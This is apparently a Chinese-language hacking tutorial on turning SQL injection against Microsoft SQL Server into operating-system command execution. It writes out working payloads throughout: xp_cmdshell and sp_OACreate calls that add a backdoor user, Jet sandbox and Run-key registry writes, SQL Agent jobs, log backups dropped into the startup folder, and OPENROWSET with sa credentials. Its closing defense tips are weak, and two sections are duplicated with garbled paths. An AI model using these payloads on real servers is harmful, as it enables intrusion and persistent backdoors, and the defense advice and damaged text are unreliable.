SQL Server是中小型網站廣泛使用的資料庫,由於功能強大也滋生了許多安全問題,國內又因為SQL注入攻擊的很長一段時間流行,導致對SQL Server的入侵技巧也層出不窮,由於SQL Server支援多語句,我相信很多小黑在對SQL Server進去SQL注入的時候很少使用猜解表名之類的方法,而直接轉向使用SQL Server的預存程序和函數快速的拿權限,下面我就圍繞SQL Server的系統預存程序和函數來介紹這些黑客技巧。
一、執行系統指令
利用預存程序我們可以快速方便的取得一個shell,如執行系統指令,儲存擴充呼叫如下:
exec master..xp_cmdshell 'net user ray ray /add'
xp_cmdshell是SQL Server自帶的系統指令預存程序,預設只有SYSADMIN伺服器角色才能執行。
利用OLE對象接口,SQL SERVER提供了一些函數來存取OLE對象,分別是sp_OACREATE和sp_OAMethod,可以利用他們呼叫OLE控件,間接取得一個shell。使用SP_OAcreate呼叫物件wscript。 shell賦給變數@shell,然後使用SP_OAMETHOD呼叫@shell的屬性run執行指令。
DECLARE @shell INT
EXEC SP_OAcreate 'wscript.shell',@shell out
EXEC SP_OAMETHOD @shell,'run',null, 'net user ray ray /add'
開啟access的沙盒模式,在預設情況下Jet資料引擎不支援select shell("net user ray ray /add")這樣的SQL語句,但是開啟了JET引擎的沙盒模式後就可以執行指令,先利用xp_regwrite預存程序改寫註冊表,然後利用OpenRowSet存取一個系統本身自帶的一個ACCESS資料庫文件,再執行執行指令的SQL語句。
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWareMicrosoftJet4.0 Engines','SandBoxMode','REG_DWORD',0
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:windowssystem32iasias.mdb','select shell("net user ray ray /add")');
除開這些,還可以利用SQL代理執行指令,當然必須先開啟SQL代理服務,預設這個服務是關閉的.我們可以先利用xp_servicecontrol開啟SQLSERVERAGENT,然後建立個SQL計畫任務,然後馬上執行這個任務。
exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'
use msdb exec sp_delete_job null,'x'
exec sp_add_job 'x'
exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c Dir C:'
exec sp_add_jobserver Null,'x',@@servername exec sp_start_job 'x'
[Cut-Page]
二、寫任意檔執行指令
利用xp_regwrite寫註冊表項,直接把要執行的指令寫入RUN啟動項。
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowscurrentversionrun','shell','REG_SZ','C:windowssystem32cmd.exe /c net user ray ray /add'
備份日誌到啟動項目
我們可以開啟一個資料庫的完全復原模式,然後新建個表,插入要備份進日誌的指令,最後把日誌備份成批次檔到使用者啟動資料夾,機器重新啟動後就會執行這個檔案。
alter database msdb set RECOVERY FULL--
create table cmd (a image)--
backup log msdb to disk = 'c:cmd1' with init--
insert into cmd (a) values ()--
backup log ISTO to disk = 'C:Documents and SettingsAll Users「開始」選單程式啟動1.bat'--
drop table cmd--
三、任意權限使用者執行指令
在任意權限的伺服器角色下,我們只要知道伺服器的SYSADMIN角色的帳號和密碼就能利用OPENROWSET巨集執行指令
select * from OPENROWSET('SQLoledb','uid=sa;pwd=admin;Address=127.0.0.1,7788;','set fmtonly off exec master..xp_cmdshell ''dir c:''')
[Cut-Page]
四、其他取得系統訊息
歷遍目錄
exec master.dbo.xp_dirtree 'c:'
取得子目錄
exec master.dbo.xp_subdirs 'c:'
列舉可用的系統分區
exec master.dbo.xp_availablemedia
判斷目錄或檔案是否存在
exec master..xp_fileexist 'c:boot.ini'
五、防禦SQL注入有妙法
1.對錶結構進行修改。將管理員的帳號欄位的資料類型進行修改,文字型改成最大欄位255(其實也夠了,如果還想做得再大點,可以選擇備註型),密碼的欄位也進行相同設定。
2.對錶進行修改。設定管理員權限的帳號放在ID1,並輸入大量中文字符,最好大於100個字。
3.把真正的管理者密碼放在ID2後面的任何一個位置。
我們透過上面的三步驟完成了資料庫的修改。
這時是不是修改結束了呢?其實不然,要明白你做的ID1帳號其實也是真正有權限的帳號,現在電腦處理速度那麼快,要是遇上個一定要將它算出來的軟體,這也是不安全的。我想這時大多數人已經想到了辦法,對,只要在管理員登入的頁面文件中寫入字符限制就行了!就算對方使用這個有上千字符的帳號密碼也會被擋住的,而真正的密碼則可以不受限制。
[Cut-Page]二、寫任意檔執行指令
利用xp_regwrite寫註冊表項,直接把要執行的指令寫入RUN啟動項。
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowscurrentversionrun','shell','REG_SZ','C:windowssystem32cmd.exe /c net user ray ray /add'
備份日誌到啟動項目
我們可以開啟一個資料庫的完全復原模式,然後新建個表,插入要備份進日誌的指令,最後把日誌備份成批次檔到使用者啟動資料夾,機器重新啟動後就會執行這個檔案。
alter database msdb set RECOVERY FULL--
create table cmd (a image)--
backup log msdb to disk = 'c:cmd1' with init--
insert into cmd (a) values ()--
backup log ISTO to disk = 'C:Documents and SettingsAll Users「開始」選單程式啟動1.bat'--
drop table cmd--
三、任意權限使用者執行指令
在任意權限的伺服器角色下,我們只要知道伺服器的SYSADMIN角色的帳號和密碼就能利用OPENROWSET巨集執行指令
select * from OPENROWSET('SQLoledb','uid=sa;pwd=admin;Address=127.0.0.1,7788;','set fmtonly off exec master..xp_cmdshell ''dir c:''')